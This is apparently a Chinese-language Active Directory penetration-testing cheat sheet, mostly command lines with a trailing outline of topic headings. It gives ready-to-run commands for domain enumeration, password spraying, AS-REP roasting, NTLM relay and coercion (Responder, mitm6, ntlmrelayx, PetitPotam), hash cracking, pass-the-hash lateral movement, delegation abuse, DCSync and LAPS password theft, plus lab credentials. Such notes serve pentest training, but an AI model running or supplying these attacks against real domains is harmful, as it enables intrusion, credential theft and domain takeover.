# ipconfig
ipconfig /all ------> 查询本机 IP 段，所在域等

# net
net user ------> 本机用户列表
net localgroup administrators ------> 本机管理员[通常含有域用户]
net user /domain ------> 查询域用户
net group /domain ------> 查询域里面的工作组
net group "domain admins" /domain ------> 查询域管理员用户组
net localgroup administrators /domain ------> 登录本机的域管理员
net localgroup administrators workgroup\user001 /add ----->域用户添加到本机 net group "Domain controllers" -------> 查看域控制器(如果有多台)
net view ------> 查询同一域内机器列表 net view /domain ------> 查询域列表
net view /domain:domainname

# dsquery
dsquery computer domainroot -limit 65535 && net group "domain
computers" /domain ------> 列出该域内所有机器名
dsquery computer ------> 列出机器名称
dsquery user domainroot -limit 65535 && net user /domain------>列出该域内所有用户名
dsquery subnet ------>列出该域内网段划分
dsquery group && net group /domain ------>列出该域内分组
dsquery ou ------>列出该域内组织单位
dsquery server && net time /domain------>列出该域内域控制器

第三方信息收集
NETBIOS 信息收集
SMB 信息收集
空会话信息收集
漏洞信息收集等

常见命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


#本地创建账号
net user /add jerry 123456
#域成员创建域用户(需要管理员权限)
net user /add jerry 123456 /domain
#域控创建域成员
net user /add jerry 123456

在入域后 普通权限账户很多功能都被限制 管理员为域控管理员 导致很多很难操作
net localgroup administrators test\jerry /add
可以将test域下的jerry用户提权到本地管理员权限
因为UAC本地管理员无法立即生效 注销当前账户 重新登录 即可和之前一样
在本地运行需要管理员权限的命令时 点是或者否就行了

列出可匿名访问的SMB共享

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -a -u "" -p "" <dc-ip> && enum4linux -a -u "guest" -p "" <dc-ip>
smbmap -u "" -p "" -P 445 -H <dc-ip> && smbmap -u "guest" -p "" -P 445 -H <dc-ip>
smbclient -U '%' -L //<dc-ip> && smbclient -U 'guest%' -L //<dc-ip>
cme smb <ip> -u '' -p '' # 枚举可空Session访问的SMB共享
cme smb <ip> -u 'a' -p '' #枚举可匿名访问的SMB共享

enum4linux -a -u "" -p "" 192.168.139.153 && enum4linux -a -u "guest" -p "" 192.168.139.153
smbmap -u "" -p "" -P 445 -H 192.168.139.153 && smbmap -u "guest" -p "" -P 445 -H 192.168.139.153
smbclient -U '%' -L //192.168.139.153 && smbclient -U 'guest%' -L //192.168.139.153
crackmapexec smb 192.168.139.153 -u '' -p ''
crackmapexec smb 192.168.139.153 -u 'a' -p ''

枚举LDAP

1
2
3
4
5


nmap -n -sV --script "ldap* and not brute" -p 389 <dc-ip>
ldapsearch -x -H <ip> -s base
ldapsearch -x -H ldap://10.10.10.161:389 -s base
ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local
ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local "(objectClass=person)" "*" +

查找用户名

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


enum4linux -U <dc-ip> | grep 'user:'
crackmapexec smb <ip> -u <user> -p '<password>' --users
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='<domain>',userdb=<users_list_file>" <ip>
OSINT - 在互联网上寻找用户名

# 新记录的
kerbrute userenum -d hokkaido-aerospace.com --dc 192.168.208.40 /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -t 100

/usr/share/wordlists/SecLists-master/Usernames/xato-net-10-million-usernames.txt
/usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

得到账号，但是没有密码

密码喷洒

1
2
3
4
5


获取域密码策略 ：
crackmapexec <IP> -u 'user' -p 'password' --pass-pol
enum4linx -u 'username' -p 'password' -P <IP>
cme smb <dc-ip> -u user.txt -p password.txt --no-bruteforce # 不爆破，只测试单一的 user=password
cme smb <dc-ip> -u user.txt -p password.txt # 交叉爆破，根据密码策略，失败过多可能会被封禁

ASREP-Roasting攻击

获取hash

1
2
3
4
5


python GetNPUsers.py <domain>/ -usersfile <usernames.txt> -format hashcat -outputfile <hashes.domain.txt>
Rubeus asreproast /format:hashcat

GetNPUsers.py intelligence.htb/ -usersfile user.txt -no-pass -dc-ip 10.10.10.248
GetNPUsers.py -no-pass -dc-ip 10.10.10.248 intelligence.htb/Jose.Williams

获取ASREP-Roastable账号

1
2
3


GetNPUsers.py domain.com/ -usersfile users.txt -format hashcat
Get-DomainUser -PreauthNotRequired -Properties SamAccountName
MATCH (u:User {dontreqpreauth:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

拿到任意一个域用户的账号密码

获取其他账户密码

1. 获取域内所有账户名

1

GetADUsers.py -all -dc-ip <dc_ip> <domain>/<username>

2. 枚举 SMB 共享

https://github.com/byt3bl33d3r/CrackMapExec/releases/tag/v5.4.0

1

cme smb <ip> -u <user> -p <password> --shares

3. bloodhound

https://github.com/dirkjanm/BloodHound.py

1
2
3


bloodhound-python -d <domain> -u <user> -p <password> -gc <dc> -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 -c all
bloodhound-python -d oscp.exam -u web_svc -p Diamond1 -gc DC01.oscp.exam -ns 10.10.132.140 --zip -c all

4. 枚举 DNS 服务器

https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py

1
2


dnstool.py -u 'DOMAIN\user' -p 'password' --record '*' --action query <dc_ip>
python3 dnstool.py -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r webtestaa.intelligence.htb -a add -t A -d 10.10.16.14 10.10.10.248

relay/poisoning攻击

扫描没开启SMB签名的机器

1
2
3


nmap -Pn -sS -T4 --open --script smb-security-mode -p445 ADDRESS/MASK
use exploit/windows/smb/smb_relay
cme smb $hosts --gen-relay-list relay.txt

PetitPotam

1

PetitPotam.py -d <domain> <listener_ip> <target_ip>

后续可以跟着adcs攻击

监听

1
2


responder -i eth0
mitm6 -d <domain>

无SMB签名 || 开启IPv6 || ADCS

MS08-068

1
2
3
4
5


use exploit/windows/smb/smb_relay 	#常用于windows2003 / windows server2008

responder -I eth0 # 记得先关闭本机的 smb 和 http 服务

ntlmrelayx.py -tf targets.txt

mitm6 -i eth0 -d

1
2
3
4
5
6
7


ntlmrelayx.py -6 -wh <attacker_ip> -l /tmp -socks -debug

ntlmrelayx.py -6 -wh <attacker_ip> -t smb://<target> -l /tmp -socks -debug

ntlmrelayx.py -t ldaps://<dc_ip> -wh <attacker_ip> --delegate-access

getST.py -spn cifs/<target> <domain>/<netbios_name>\$ -impersonate <user>

adcs

1
2
3


ntlmrelayx.py -t http://<dc_ip>/certsrv/certfnsh.asp -debug -smb2support --adcs --template DomainController

Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt

拿到hash破解

1
2
3


john --format=lm hash.txt

hashcat -m 3000 -a 3 hash.txt

NTLM

1
2
3


john --format=nt hash.txt

hashcat -m 1000 -a 3 hash.txt

NTLMv1

1
2
3


john --format=netntlm hash.txt

hashcat -m 5500 -a 3 hash.txt

NTLMv2

1
2
3


john --format=netntlmv2 hash.txt

hashcat -m 5600 -a 0 hash.txt rockyou.txt

Kerberos 5 TGS

1
2
3


john spn.txt --format=krb5tgs --wordlist=rockyou.txt

hashcat -m 13100 -a 0 spn.txt rockyou.txt

Kerberos ASREP

1

hashcat -m 18200 -a 0 AS-REP_roast-hashes rockyou.txt

横向移动

1
2
3
4
5
6
7
8
9


psexec.py -hashes ":<hash>" <user>@<ip>

wmiexec.py -hashes ":<hash>" <user>@<ip>

atexec.py -hashes ":<hash>" <user>@<ip> "command"

evil-winrm -i <ip>/<domain> -u <user> -H <hash>

xfreerdp /u:<user> /d:<domain> /pth:<hash> /v:<ip>

1
2
3
4
5
6
7
8


python getTGT.py <domain>/<user> -hashes :<hashes>
export KRB5CCNAME=/root/impacket-examples/domain_ticket.ccache
python psexec.py <domain>/<user>@<ip> -k -no-pass

Rubeus asktgt /user:victim /rc4:<rc4value>
Rubeus ptt /ticket:<ticket>
Rubeus createnetonly /program:C:\Windows\System32\[cmd.exe||upnpcont.exe]
Rubeus ptt /luid:0xdeadbeef /ticket:<ticket>

非约束委派

获取票据

1
2
3
4
5


privilege::debug sekurlsa::tickets /export sekurlsa::tickets /export

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

查找非约束委派主机

1
2
3
4
5
6
7


Get-NetComputer -Unconstrained

Get-DomainComputer -Unconstrained -Properties DnsHostName

MATCH (c:Computer {unconstraineddelegation:true}) RETURN c

MATCH (u:User {owned:true}), (c:Computer {unconstraineddelegation:true}), p=shortestPath((u)-[*1..]->(c)) RETURN p

约束委派

获取票据

1
2
3
4
5


privilege::debug sekurlsa::tickets /export sekurlsa::tickets /

Rubeus dump /service:krbtgt /nowrap

Rubeus dump /luid:0xdeadbeef /nowrap

查找约束委派主机

1
2
3
4
5


Get-DomainComputer -TrustedToAuth -Properties DnsHostName, MSDS-AllowedToDelegateTo

MATCH (c:Computer), (t:Computer), p=((c)-[:AllowedToDelegate]->(t)) RETURN p

MATCH (u:User {owned:true}), (c:Computer {name: "<MYTARGET.FQDN>"}), p=shortestPath((u)-[*1..]->(c)) RETURN p

基于资源的约束委派
dcsync

1

lsadump::dcsync /domain:htb.local /user:krbtgt # Administrators, Domain Admins, Enterprise Admins 组下的账户都行

打印机 SpoolService 漏洞利用

1
2


rpcdump.py <domain>/<user>:<password>@<domain_server> | grep MS-RPRN
printerbug.py '<domain>/<username>:<password>'@<Printer IP> <RESPONDERIP>

AD域ACL攻击(aclpwn.py)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


GenericAll on User
GenericAll on Group
GenericAll / GenericWrite / Write on Computer
WriteProperty on Group
Self (Self-Membership) on Group
WriteProperty (Self-Membership)
ForceChangePassword
WriteOwner on Group
GenericWrite on User
WriteDACL + WriteOwner

获取LAPS管理员密码

1
2
3


Get-LAPSPasswords -DomainController <ip_dc> -Credential <domain>\<login> | Format-Table -AutoSize

foreach ($objResult in $colResults){$objComputer = $objResult.Properties; $objComputer.name|where {$objcomputer.name -ne $env:computername}|%{foreach-object {Get-AdmPwdPassword -ComputerName $_}}}

privexchange漏洞

1
2
3


python privexchange.py -ah <attacker_host_or_ip> <exchange_host> -u <user> -d <domain> -p <password>

ntlmrelayx.py -t ldap://<dc_fqdn>--escalate-user <user>

Exchange的利用

IPC
其他横移

1
2
3
4
5
6
7


1.向WSUS服务器数据库注入恶意程序更新		WSUSpendu.ps1 # 需要先拿下 WSUS 更新分发服务器

2.MSSQL Trusted Links			use exploit/windows/mssql/mssql_linkcrawler

3.GPO Delegation

4.ADCS

Active Directory on MentalityXt

域渗透：常见技巧

1. WSMan/WinRM

WinRM默认使用5985(HTTP)和5986(HTTPS)

域渗透：针对常见服务

一、SPN

SPN 基本概念:

SPN 的重要性:

SPN 扫描的目的:

搭建环境

作为非域成员的利用方式:

具体利用步骤:

不同场景的利用策略:

注意事项:

实际案例:

二、域服务账号破解

三、NTLM relay

(1) Privexchange

设置NTLM中继:

触发Exchange认证:

(2) Printerbug(HTLM认证)

(3) PetitPotam(HTLM认证)

(4) Relay LDAP(HTLM中继)

(5) Relay AD CS/PKI(HTLM中继)

自动化工具

内网445端口

(6)扩展

四、Kerberos委派攻击

前置知识

发现域中委派的用户和计算机

原理说明

搭建环境(忽略)

非约束委派的查找

ldapsearch

ADFind

PowerView

非约束委派的利用

Rubeus

非约束委派+Spooler打印机服务

约束委派的利用

概述

操作

非约束委派和约束委派Get域控权限

基于资源的约束委派的利用

域渗透：域内提权

一、 CVE-2021-42278/CVE-2021-42287

漏洞利用与遥测

CVE-2021-42278 - 无效的计算机帐户名称

CVE-2021-42287 - Kerberos 密钥分发中心混乱

自动化-noPac

二、PrintNightmare(CVE-2021-34527)

域渗透：工具问题排查

一、wmiexec乱码

二、vmware tool无法安装

域渗透：卷影拷贝与 CVE-2020-1472

1、token窃取

2、LaZagne.exe

3、卷影拷贝（获取域控所有hash）

mimikatz-dcsync

vssadmin卷影拷贝

ntdsutil.exe

ZeroLogon (CVE-2020-1472) 漏洞利用

第1步 验证漏洞存在

第2步 置空域控HASH

第3步 获取域管HASH

第4步 恢复域控HASH

第5步 验证是否恢复域控hash

域渗透：PTT、PTH 与 PTC

域渗透学习

一、环境配置

二、域内信息收集

①确定环境

②域内信息

1、net view

2、net view /domain

3、net user /domain

4、net group /domain

5、whoami /user

6、net group “domain controllers” /domain

8、systeminfo | findstr “KB”

第1步验证漏洞存在

第2步置空域控HASH

第3步获取域管HASH

第4步恢复域控HASH

第5步验证是否恢复域控hash